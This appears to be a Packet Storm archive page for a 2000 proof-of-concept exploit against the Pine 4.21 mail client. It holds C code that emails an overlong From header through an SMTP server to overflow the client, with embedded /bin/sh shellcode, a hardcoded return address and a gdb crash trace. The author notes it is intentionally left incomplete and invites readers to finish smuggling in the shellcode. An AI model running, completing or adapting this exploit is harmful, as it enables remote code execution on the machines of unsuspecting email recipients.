exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

pine421.txt

pine421.txt
Posted Sep 27, 2000
Authored by Arkane

Proof of Concept. There exists a vulnerability in Pine 4.21 involving the portion of code in charge of peroidically checking email when a pine client is open.

tags | exploit, proof of concept
SHA-256 | 4c381d3dd367cf74ed25122f66d5999b745e2e0d8ac761b2a7d1dd33c1d5f17c

pine421.txt

Change Mirror Download

/*############## ##### ###### ## # ## # # # # # #
# #
# PINE Exploit 4.21 [ bTm ] #
# #

Proof of Concept: Pine 4.21

There exists a vulnerability in Pine 4.21 involving the
portion of code in charge of peroidically checking email
when a pine client is open.

Run pine in one window, then send an email to the account
owning that session. Switch back over and hit [Control+L]
(to check your mail).

Woohoo!

now open the core up in gdb:

#2 0x40084098 in abort () at ../sysdeps/generic/abort.c:139
#3 0x817470c in strcpy () at ../sysdeps/generic/strcpy.c:43
#4 0x8137f82 in strcpy () at ../sysdeps/generic/strcpy.c:43
#5 0x8158760 in strcpy () at ../sysdeps/generic/strcpy.c:43
#6 0x40082c28 in __restore ()
at ../sysdeps/unix/sysv/linux/i386/sigaction.c:127
#7 0xe7e2bfff in ?? ()
Cannot access memory at address 0xe7e2bfff.

Oops, my alignment could use some work.


Hello's : Mega,Loki,Lamagra,and zen-parse.


BTW: this is broken, you have to figure it out on your own how
to smuggle the shellcode in.

Any real Pentester can get this working fairly quickly.

Just be polite, don't forget to say HELO!



Arkane [bTm]

######### ### # ## # # ## # # ## # # # # # # # ### ## ## */



#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>

unsigned long get_sp (void)
{
__asm__ ("mov %esp, %eax");
}

#define ADDRLEN 700
#define EXECLEN 1000
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main (int argc, char **argv)
{
struct sockaddr_in server;
struct hostent *hp;
int s;
char helo[100];
char mail[100];
char rcpt[100];
char data[2500];
char start[20];

int offset = 0;
unsigned long addr;
int i;
char *addrs,*exec;

addrs = (char *) malloc (ADDRLEN);
exec = (char *) malloc (EXECLEN);

if(argc < 2)
{
printf(" Usage: %s <Email Address> <offset>\n", argv[0]);
printf(" \n\n");
exit(0);
}

if (argc == 3)
offset = atoi (argv[2]);

//addr = get_sp () - offset;

addr = 0xbfffe7e2; //RH62

memset(addrs,0x41,ADDRLEN);

// for (i = 0; i < ADDRLEN ; i += 4)
// *(unsigned *) &addrs[i] = addr;

// memset(exec,0x90,EXECLEN);

// memset(addrs+195,0x90,5);

// memcpy (addrs + 200, shellcode, strlen (shellcode));

if((hp = gethostbyname ("mail.speakeasy.org")) == NULL) {
printf ("Could not resolve mail.speakeasy.org.\n");
exit(1); }

if((s = socket (AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Error");
exit(1); }

server.sin_family = AF_INET;
server.sin_port = htons (25);
server.sin_addr.s_addr = *(u_long *) hp->h_addr;
bzero (&(server.sin_zero), 8);

if(connect(s, (struct sockaddr *) &server, sizeof (struct sockaddr)) == -1) {
printf ("Connection refused\n");
exit(1); }

sprintf (helo, "helo test\r\n");
sprintf (mail, "mail from: %s\r\n",argv[1]);

send (s, helo, strlen (helo), 0);
send (s, mail, strlen (mail), 0);

sprintf (rcpt, "rcpt to: %s\r\n",argv[1]);

send (s, rcpt, strlen (rcpt), 0);

sprintf(start,"data\r\n");

send (s, start, strlen (start), 0);

fprintf(stderr," Message Sent! \n");

sprintf(data,"From: %s AAAAAAAA test@test.net\r\n%s\r\n.\r\nquit\r\n",addrs,exec);
send (s, data, strlen (data), 0);



close (s);
exit(0);
}

----- End forwarded message -----
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close